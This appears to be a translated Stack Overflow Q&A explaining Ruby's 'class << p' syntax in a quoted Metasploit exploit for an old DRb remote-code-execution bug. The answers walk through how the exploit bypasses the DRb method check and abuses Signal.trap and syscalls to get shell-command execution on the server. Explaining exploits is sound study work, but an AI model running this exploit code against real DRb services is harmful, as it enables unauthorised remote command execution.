[英]Understanding ruby syntax “class << variable”
我一直在使用metasploit查看DRb中的舊bug,它使用以下方法:
def exploit
serveruri = datastore['URI']
DRb.start_service
p = DRbObject.new_with_uri(serveruri)
class << p
undef :send
end
p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
rescue Errno::EBADF
# 64 bit system
pid = p.send(:syscall, 39)
p.send(:syscall, 62, pid, 23)
end
p.send(:my_eval, payload.encoded)
end
我不是一個紅寶石程序員,但我對除了幾行以外發生的事情有一個普遍的認識。
任何人都可以解釋第5-9行中發生的事情嗎? (從“class << ...”開始)
class << p
undef :send
end
這未定義對象p
的send
方法( send
用於在接收器上動態調用方法)。
它這樣做是為了利用DRbObject
的method_missing
實現,它將方法調用路由到遠程對象。 我對DRb
不太熟悉,但我猜這可能是為了讓事情超過DRbServer
的check_insecure_method
檢查,但是我會把它作為練習留給你,因為它超出了問題的范圍在這里問。
一旦它通過method_missing
實現了它需要做的任何事情,它就會在服務器進程上向Object
添加一個方法my_eval
,然后使用system
將有效負載作為shell命令執行。
class << p
undef :send
end
此塊未定義在本地DRbObject
實例上send
。 正如Michael所指出的,如果DRbObject
沒有定義方法,它將使用method_missing
將方法調用路由到遠程服務器。
在這種情況下,所有后續send
調用將被路由到遠程服務器並在那里進行評估,而不是本地實例。
p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")
這會觸發帶有信號23的Signal.trap
和一個似乎包含一塊代碼的符號,如果進行了評估,它將在Object
上創建一個方法,該方法提供對shell的直接訪問。
根據文檔, Signal.trap
可用於在從操作系統接收特定信號時運行塊或命令。 目前還不是很清楚命令是什么,所以我做了一些游戲。
> pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test #=> 1
看起來符號形式的命令將轉換為字符串,然后由Signal.trap
進行eval
。
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
本節觸發調用Unix內核函數的Kernel#syscall
。 rescue
位處理64位系統調用號碼。 我們來看看這里的32位部分:
p.send(:syscall, 20)
應該評估為sys_getpid()
p.send(:syscall, 37, pid, 23)
應該評估為sys_kill(<pid>, 23)
。 這將觸發為信號23
設置的早期陷阱。 總之,漏洞利用:
method_missing
send
強制消息 method_missing
觸發Signal.trap(23)
其中一大塊ruby代碼轉換為符號形式的單行字符串 Kernel#syscall
獲取當前正在運行的進程的PID Kernel#syscall
來調用kill -23 <pid>
,這會導致在2中設置的陷阱觸發,這反過來會破壞提供的符號,在Object
上創建my_eval
方法,提供對system
訪問(shell命令行訪問) my_eval
方法 參考文獻:
http://syscalls.kernelgrok.com/
https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap
https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.